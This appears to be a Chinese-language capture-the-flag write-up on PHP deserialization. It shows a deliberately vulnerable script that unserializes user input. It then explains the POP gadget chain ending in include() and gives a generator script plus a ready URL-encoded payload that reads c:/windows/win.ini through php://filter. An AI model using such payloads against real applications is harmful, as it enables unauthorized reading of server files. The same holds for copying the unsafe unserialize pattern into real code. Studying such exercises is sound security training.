1
<?php
2
error_reporting(0);
3
highlight_file(__FILE__);
4
class Vox{
5
    protected $headset;
6
    public $sound;
7
    public function fun($pulse){
8
        include($pulse);
9
    }
10
    public function __invoke(){
11
        $this->fun($this->headset);
12
    }
13
}
14

15
class Saw{
16
    public $fearless;
17
    public $gun;
18
    public function __construct($file='index.php'){
19
        $this->fearless = $file;
20
        echo $this->fearless . ' You are in my range!'."<br>";
21
    }
22

23
    public function __toString(){
24
        $this->gun['gun']->fearless;
25
        return "Saw";
26
    }
27

28
    public function _pain(){
29
        if($this->fearless){
30
            highlight_file($this->fearless);
31
        }
32
    }
33

34
    public function __wakeup(){
35
        if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
36
            echo "Does it hurt? That's right";
37
            $this->fearless = "index.php";
38
        }
39
    }
40
}
41

42
class Petal{
43
    public $seed;
44
    public function __construct(){
45
        $this->seed = array();
46
    }
47

48
    public function __get($sun){
49
        $Nourishment = $this->seed;
50
        return $Nourishment();
51
    }
52
}
53

54
if(isset($_GET['ozo'])){
55
    unserialize($_GET['ozo']);
56
}
57
else{
58
    $Saw = new Saw('index.php');
59
    $Saw->_pain();
60
}
61
?>

1
然后一步步反推Vox::__invoke() -> Vox::fun()
2
而触发__invoke()的条件是将实例对象当作方法调用时触发，Petal::__get()中的return $Nourishment();满足条件
3
只要赋值一个对象给$this->seed即可触发，继续分析Petal::__get()的触发条件是调用不可访问的属性或者方法时被触发
4
Saw::__toString()中的$this->gun['gun']->fearless可满足
5
最后就是如何触发Saw::__toString()，Saw::__wakeup()中，进行了正则匹配
6
如果将$this->fearless设置成一个对象，即可触发Saw::__toString()。

1
利用链：Saw::__wakeup() -> Saw::__toString() -> Petal::__get() -> Vox::__invoke() -> Vox::fun()

1
<?php
2
class Vox
3
{
4
    protected $headset = "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini";
5
}
6

7
class Saw
8
{
9
    public $fearless;
10
    public $gun;
11
}
12

13
class Petal
14
{
15
    public $seed;
16
}
17

18
$Vox = new Vox();
19
$Saw1 = new Saw();
20
$Saw2 = new Saw();
21
$Petal = new Petal();
22

23
$Saw1->fearless = $Saw2;
24
$Saw2->gun['gun'] = $Petal;
25
$Petal->seed = $Vox;
26

27
echo urlencode(serialize($Saw1));

1
O%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BO%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BN%3Bs%3A3%3A%22gun%22%3Ba%3A1%3A%7Bs%3A3%3A%22gun%22%3BO%3A5%3A%22Petal%22%3A1%3A%7Bs%3A4%3A%22seed%22%3BO%3A3%3A%22Vox%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00headset%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dc%3A%2Fwindows%2Fwin.ini%22%3B%7D%7D%7D%7Ds%3A3%3A%22gun%22%3BN%3B%7D